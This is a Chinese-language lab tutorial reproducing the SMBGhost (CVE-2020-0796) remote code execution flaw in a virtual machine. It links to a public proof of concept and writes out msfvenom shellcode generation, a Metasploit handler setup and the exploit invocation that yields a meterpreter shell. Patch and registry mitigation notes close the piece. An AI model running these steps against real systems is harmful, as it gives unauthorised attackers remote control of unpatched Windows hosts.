CVE-2020-0796 漏洞复现(rce)含exp教程

CVE-­2020­-0796 漏洞复现(rce)含exp教程

0X00漏洞简介

Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品,Microsoft Windows是一套个人设备使用的操作系统,Microsoft Windows Server是一套服务器操作系统,Server Message Block是其中的一个服务器信息传输协议。

微软公布了在Server Message Block 3.0(SMBv3)中发现的“蠕虫型”预授权远程代码执行漏洞。

0X01漏洞概述

(CVE-2020-0796 SMBGhost)该漏洞是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的,它可让远程且未经身份验证的攻击者在目标系统上执行任意代码。

0X02影响版本

适用于32位系统的Windows 10版本1903

Windows 10 1903版(用于基于x64的系统)

Windows 10 1903版(用于基于ARM64的系统)

Windows Server 1903版(服务器核心安装)

适用于32位系统的Windows 10版本1909

Windows 10版本1909(用于基于x64的系统)

Windows 10 1909版(用于基于ARM64的系统)

Windows Server版本1909(服务器核心安装)

0X03环境搭建

可在虚拟机中搭建win10系统来进行复现。如有需要可留言获取iso文件。

0X04漏洞检测

漏洞检测脚本有很多这里简单分享俩个。

gitHub检测工具:https://github.com/ollypwn/SMBGhost

某信cert检测工具私聊可获取。

某检测工具演示:

CVE-2020-0796 漏洞复现(rce)含exp教程_漏洞复现

 

p地址为win10地址,本地测试是需关闭win10防火墙成可ping通状态。

0X05漏洞复现

最近刚刚爆出了rce 的exp所以赶紧复现一手。

Exp地址:https://github.com/chompie1337/SMBGhost_RCE_PoC

该exp使用环境为python3

下载完成后将该exp放到kaili虚拟机中

启动msf

使用msf生成shellcode

msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt

执行该命令后会在桌面生成一个shellcode.txt

将生成的shellcode替换exp中的exploit.py中的USER_PAYLOAD保存即可。

CVE-2020-0796 漏洞复现(rce)含exp教程_漏洞复现_02

 

 

使用kaili中的msf开启监听

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp   #设置反弹模式

msf5 exploit(multi/handler) > set rhost 192.168.31.137  #设置目标靶机IP地址

msf5 exploit(multi/handler) > set lport 3333    #设置监听端口

msf5 exploit(multi/handler) > exploit 

在kail中进入exp文件夹,执行exp文件

python3  exploit.py  ­ip 192.168.31.137

即可看到msf中收到了回显成功连接。

CVE-2020-0796 漏洞复现(rce)含exp教程_漏洞复现_03

 

如复现没有成功可能的原因有:

1.msf监听端口被占用

2.windows10设置自动更新已自动打补丁

3.shellcode未替换正确

4.exp端口和msf监听端口不一致

0X06漏洞修复

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-0796

或者你可以使用以下PowerShell命令禁用SMBv3服务的压缩(无需重新启动):

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 –Force

此外你还可以通过禁止SMB的流量流向外网来防御攻击。